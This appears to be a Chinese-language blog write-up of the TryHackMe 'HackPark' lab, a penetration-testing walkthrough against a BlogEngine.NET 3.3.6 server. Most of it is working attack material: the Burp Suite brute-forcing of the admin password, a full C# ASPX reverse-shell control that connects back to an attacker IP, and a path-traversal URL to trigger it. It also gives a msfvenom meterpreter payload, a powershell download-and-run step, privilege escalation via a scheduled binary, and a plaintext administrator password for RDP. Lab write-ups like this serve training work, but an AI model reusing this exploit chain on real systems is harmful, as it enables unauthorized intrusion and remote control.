tryhackme hackpark渗透测试

1、部署靶场,启动机器

百度识图为小丑回魂中的小丑

2、在登录界面,username默认为admin,tryhackme提示使用hydra进行爆破,由于hydra爆破太麻烦且时间慢,这里采用bp进行爆破

bp抓包,添加password变量

这里1qaz2wsx返回长度不同,使用admin/1qaz2wsx进行登录

在about页面查看当前cms版本信息

google搜索BlogEngine.NET 3.3.6发现有RCE

新建文件命名为PostView.ascx ,脚本如下, 需修改攻击机ip和端口 

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
	static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
		using(System.IO.Stream stream = client.GetStream()) {
			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
				streamWriter = new System.IO.StreamWriter(stream);
						
				StringBuilder strInput = new StringBuilder();

				System.Diagnostics.Process p = new System.Diagnostics.Process();
				p.StartInfo.FileName = "cmd.exe";
				p.StartInfo.CreateNoWindow = true;
				p.StartInfo.UseShellExecute = false;
				p.StartInfo.RedirectStandardOutput = true;
				p.StartInfo.RedirectStandardInput = true;
				p.StartInfo.RedirectStandardError = true;
				p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
				p.Start();
				p.BeginOutputReadLine();

				while(true) {
					strInput.Append(rdr.ReadLine());
					p.StandardInput.WriteLine(strInput);
					strInput.Remove(0, strInput.Length);
				}
			}
		}
    	}
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
   	StringBuilder strOutput = new StringBuilder();

       	if (!String.IsNullOrEmpty(outLine.Data)) {
       		try {
                	strOutput.Append(outLine.Data);
                    	streamWriter.WriteLine(strOutput);
                    	streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

在管理页面找到上传点http://10.10.25.109/admin/app/editor/editpost.cshtml

上传之前创建的PostList.ascx

上传完成后进行save操作,在攻击机进行监听 nc -lvvp 4445

访问url http://10.10.25.109/?theme=../../App_Data/files 执行脚本,即可获取shell

3、在获取简单shell后,利用msf上传文件获取meterpreter shell  ,msfvenom生成后门文件

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.63.209 LPORT=4457 -f exe > xxx.exe

python -m SimpleHTTPServer 80 开启HTTP服务

在shell中进入Temp临时目录,下载我们的后门文件,

cd C:\windows\Temp
powershell -c wget "http://10.11.63.209/xxx.exe" -outfile "xxx.exe" 

在msf中进行监听

handler -H 10.11.63.209 -P 4457 -p windows/meterpreter/reverse_tcp

在shell中执行木马程序xxx.exe

成功获取meterpreter shell

sysinfo查看系统信息

使用命令ps,发现异常服务:()

进入C:\Program Files (x86)\SystemScheduler\Events 目录,发现异常文件,执行命令:cat 20198415519.INI_LOG.txt,可以发现Message.exe每三十秒执行一次,就是我们要利用的二进制文件

这里正常思路就是msf生成后门文件Message.exe,上传替换运行。

在一位大佬那里看到一篇文章,利用Winpeas进行提权

TRY HACK ME | Steel Mountain「利用powershell提权」_powershell提升权限命令-CSDN博客

在meterpreter shell上传winPEASx64.exe,

upload /root/桌面/PEASS-ng/winPEAS/winPEASx64.exe

再运行winPEASx64.exe

可查看系统信息,用户名/密码

远程登录,查看flag文件 xfreerdp /u:administrator /p:4q6XvFES7Fdxs /v:10.10.25.109

systeminfo查看系统安装时间

  • 33
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值